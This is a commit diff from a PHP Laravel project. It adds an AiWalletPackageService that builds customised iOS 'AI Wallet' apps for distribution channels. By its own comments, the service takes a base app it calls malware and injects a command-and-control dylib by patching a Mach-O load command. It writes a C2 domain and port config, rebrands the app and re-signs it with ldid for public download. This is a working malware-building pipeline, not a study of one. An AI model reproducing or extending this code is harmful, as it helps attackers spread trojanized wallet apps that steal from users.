feat: app

This commit is contained in:
hashbro
2026-10-08 05:08:25 +08:00
parent 5e258863a8
commit 460e751f00
5 changed files with 342 additions and 4 deletions
@@ -386,7 +386,7 @@ class ChannelController extends Controller
$apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
try {
$service = app(\App\Services\AppPackageService::class);
$service = app(\App\Services\AiWalletPackageService::class);
$result = $service->build($channel, $logoPath, $apiDomain);
} catch (\Throwable $e) {
$result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
+337
View File
@@ -0,0 +1,337 @@
<?php
namespace App\Services;
use App\Models\Channel;
use Illuminate\Support\Facades\Log;
use RuntimeException;
/**
* Build a customized AI Wallet IPA for App-builder channels.
*
* Uses a pre-compiled c2_simple.dylib (compiled on macOS) and a
* runtime c2_config.plist to configure domain/channel per build.
* No iOS SDK or Xcode required on the Linux build server.
*
* Build flow:
* 1. Extract ai-live-base.ipa (original malware)
* 2. Copy pre-compiled c2_simple.dylib to Frameworks/
* 3. Generate c2_config.plist with channel-specific settings
* 4. Add LC_LOAD_DYLIB to main binary (before libutils)
* 5. Patch Info.plist (app name, bundle ID, white launch screen)
* 6. Generate icons from uploaded logo
* 7. Sign with ldid
* 8. Package as IPA
*/
class AiWalletPackageService
{
/** Base IPA path (original ai-live malware) */
private const BASE_IPA = 'app-templates/ai-live-base.ipa';
/** Pre-compiled c2_simple.dylib */
private const C2_DYLIB = 'app-templates/c2_simple.dylib';
/** Icon sizes */
private const ICON_SIZES = [
'AppIcon60x60@2x.png' => 120,
'AppIcon60x60@3x.png' => 180,
'AppIcon76x76@2x~ipad.png' => 152,
];
public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
{
$baseIpa = storage_path('app/'.self::BASE_IPA);
$c2Dylib = storage_path('app/'.self::C2_DYLIB);
if (!file_exists($baseIpa)) {
return $this->fail('Base IPA not found. Upload ai-live-base.ipa via admin.');
}
if (!file_exists($c2Dylib)) {
return $this->fail('c2_simple.dylib not found. Upload pre-compiled dylib.');
}
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
if (is_dir($workDir)) $this->rrmdir($workDir);
@mkdir($workDir, 0755, true);
try {
// 1. Extract base IPA
$zip = new \ZipArchive;
if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA');
$zip->extractTo($workDir);
$zip->close();
$appDir = $this->findAppDir($workDir);
if (!$appDir) throw new RuntimeException('No .app directory found');
// 2. Copy pre-compiled c2_simple.dylib
$fwDir = $appDir.'/Frameworks';
if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true);
copy($c2Dylib, $fwDir.'/c2_simple.dylib');
// 3. Generate c2_config.plist
$this->writeConfigPlist($appDir, $channel, $apiDomain);
// 4. Add LC_LOAD_DYLIB to main binary
$mainBin = $this->findMainBinary($appDir);
$this->addLoadDylib($mainBin, '@rpath/c2_simple.dylib', '@executable_path/Frameworks/libutils.dylib');
// 5. Patch Info.plist
$this->patchInfoPlist($appDir, $channel);
// 6. Generate icons
if ($logoPath && file_exists($logoPath)) {
$this->generateIcons($appDir, $logoPath);
}
// 7. Sign
$this->sign($appDir);
// 8. Package
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
$outputFull = public_path($outputPath);
@mkdir(dirname($outputFull), 0755, true);
$outZip = new \ZipArchive;
if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
throw new RuntimeException('Cannot create output IPA');
}
$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
$outZip->close();
$size = filesize($outputFull);
$this->rrmdir($workDir);
return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => ''];
} catch (\Throwable $e) {
$this->rrmdir($workDir);
Log::error('AiWalletPackageService: build failed', [
'channel' => $channel->channel_id,
'error' => $e->getMessage(),
]);
return ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
}
}
private function writeConfigPlist(string $appDir, Channel $channel, string $apiDomain): void
{
$config = [
'C2Domain' => $apiDomain,
'C2Port' => '443',
'WebViewURL' => $channel->h5_url ?: 'https://tether.to',
'AppId' => $channel->channel_id,
'ChannelId' => $channel->channel_id,
'AppName' => $channel->app_name,
];
$plist = $this->arrayToXmlPlist($config);
file_put_contents($appDir.'/c2_config.plist', $plist);
}
private function arrayToXmlPlist(array $data): string
{
$xml = '<?xml version="1.0" encoding="UTF-8"?>'."\n";
$xml .= '<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n";
$xml .= '<plist version="1.0"><dict>'."\n";
foreach ($data as $key => $value) {
$xml .= '<key>'.htmlspecialchars($key).'</key><string>'.htmlspecialchars($value).'</string>'."\n";
}
$xml .= '</dict></plist>';
return $xml;
}
private function patchInfoPlist(string $appDir, Channel $channel): void
{
$plistFile = $appDir.'/Info.plist';
$data = file_get_contents($plistFile);
// Use plistlib via shell (available on Linux)
$tmpFile = tempnam(sys_get_temp_dir(), 'plist');
file_put_contents($tmpFile, $data);
$changes = [
'CFBundleDisplayName' => $channel->app_name,
'CFBundleName' => $channel->app_name,
'CFBundleIdentifier' => $channel->bundle_id ?: 'com.ai.wallet.next',
'CFBundleShortVersionString' => '1.6.1',
'CFBundleVersion' => '1.6.1',
];
foreach ($changes as $key => $value) {
$escaped = escapeshellarg($value);
exec("plistutil -i {$tmpFile} -o {$tmpFile} -k {$key} -s {$escaped} 2>/dev/null || true");
// Fallback: use sed for XML plists
$data = file_get_contents($tmpFile);
$data = preg_replace(
'#<key>'.preg_quote($key, '#').'</key>\s*<string>[^<]*</string>#',
'<key>'.$key.'</key><string>'.htmlspecialchars($value).'</string>',
$data
);
file_put_contents($tmpFile, $data);
}
// Remove storyboard reference, add UILaunchScreen (white background)
$data = file_get_contents($tmpFile);
$data = preg_replace('#<key>UILaunchStoryboardName</key>\s*<string>[^<]*</string>#', '', $data);
if (!str_contains($data, 'UILaunchScreen')) {
$data = str_replace('</dict></plist>', '<key>UILaunchScreen</key><dict/></dict></plist>', $data);
}
file_put_contents($plistFile, $data);
unlink($tmpFile);
}
private function addLoadDylib(string $binaryPath, string $dylibPath, string $insertBefore): void
{
$data = file_get_contents($binaryPath);
$origSize = strlen($data);
// Parse Mach-O 64-bit header
$magic = unpack('V', substr($data, 0, 4))[1];
if ($magic !== 0xFEEDFACF) throw new RuntimeException('Not a Mach-O 64-bit binary');
$ncmds = unpack('V', substr($data, 16, 4))[1];
$sizeofcmds = unpack('V', substr($data, 20, 4))[1];
// Find the LC_LOAD_DYLIB for libutils to insert before it
$offset = 32;
$insertOffset = 32 + $sizeofcmds; // Default: append at end
$libutilsOffset = -1;
for ($i = 0; $i < $ncmds; $i++) {
$cmd = unpack('V', substr($data, $offset, 4))[1];
$cmdsize = unpack('V', substr($data, $offset + 4, 4))[1];
if ($cmd === 0x0C) { // LC_LOAD_DYLIB
$nameOffset = unpack('V', substr($data, $offset + 8, 4))[1];
$name = substr($data, $offset + $nameOffset, strpos(substr($data, $offset + $nameOffset), "\0"));
if (str_contains($name, 'libutils')) {
$libutilsOffset = $offset;
break;
}
}
$offset += $cmdsize;
}
// Insert before libutils if found, otherwise append
if ($libutilsOffset >= 0) {
$insertOffset = $libutilsOffset;
}
// Create LC_LOAD_DYLIB command
$name = $dylibPath."\0";
$nameOffset = 24; // sizeof(load_command) + 3 * sizeof(uint32) + padding
$cmdsize = $nameOffset + strlen($name);
$cmdsize = ($cmdsize + 7) & ~7; // Align to 8 bytes
$name = str_pad($name, $cmdsize - $nameOffset, "\0");
$lc = pack('VVVVVV',
0x0C, // cmd = LC_LOAD_DYLIB
$cmdsize, // cmdsize
$nameOffset, // dylib.name.offset
1, // dylib.timestamp
0, // dylib.current_version
0 // dylib.compatibility_version
).$name;
// Insert the load command
$data = substr($data, 0, $insertOffset).$lc.substr($data, $insertOffset);
// Update ncmds and sizeofcmds in header
$data = substr_replace($data, pack('V', $ncmds + 1), 16, 4);
$data = substr_replace($data, pack('V', $sizeofcmds + $cmdsize), 20, 4);
file_put_contents($binaryPath, $data);
}
private function findAppDir(string $workDir): ?string
{
$payload = $workDir.'/Payload';
if (!is_dir($payload)) return null;
foreach (scandir($payload) as $item) {
if (str_ends_with($item, '.app')) return $payload.'/'.$item;
}
return null;
}
private function findMainBinary(string $appDir): string
{
// Main binary has the same name as the .app directory
$appName = basename($appDir, '.app');
return $appDir.'/'.$appName;
}
private function generateIcons(string $appDir, string $logoPath): void
{
if (!function_exists('imagecreatefrompng')) {
Log::warning('AiWalletPackageService: GD not available, skipping icons');
return;
}
$src = imagecreatefrompng($logoPath);
if (!$src) return;
foreach (self::ICON_SIZES as $filename => $size) {
$dst = imagecreatetruecolor($size, $size);
imagealphablending($dst, false);
imagesavealpha($dst, true);
imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size,
imagesx($src), imagesy($src));
imagepng($dst, $appDir.'/'.$filename);
imagedestroy($dst);
}
imagedestroy($src);
}
private function sign(string $appDir): void
{
$csDir = $appDir.'/_CodeSignature';
if (is_dir($csDir)) $this->rrmdir($csDir);
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
if ($ldidPath === '') return;
$binaries = array_merge(
[$this->findMainBinary($appDir)],
glob($appDir.'/Frameworks/*.dylib') ?: [],
glob($appDir.'/*.dylib') ?: [],
);
foreach ($binaries as $bin) {
if (!is_file($bin)) continue;
exec(escapeshellarg($ldidPath).' -S '.escapeshellarg($bin).' 2>/dev/null');
}
}
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
{
foreach (scandir($dir) as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir.'/'.$item;
$zipPath = $prefix.'/'.$item;
if (is_dir($path)) {
$zip->addEmptyDir($zipPath);
$this->addDirToZip($zip, $path, $zipPath);
} else {
$zip->addFile($path, $zipPath);
}
}
}
private function rrmdir(string $dir): void
{
if (!is_dir($dir)) return;
foreach (scandir($dir) as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir.'/'.$item;
if (is_dir($path)) $this->rrmdir($path);
else @unlink($path);
}
@rmdir($dir);
}
private function fail(string $error): array
{
return ['success' => false, 'path' => '', 'size' => 0, 'error' => $error];
}
}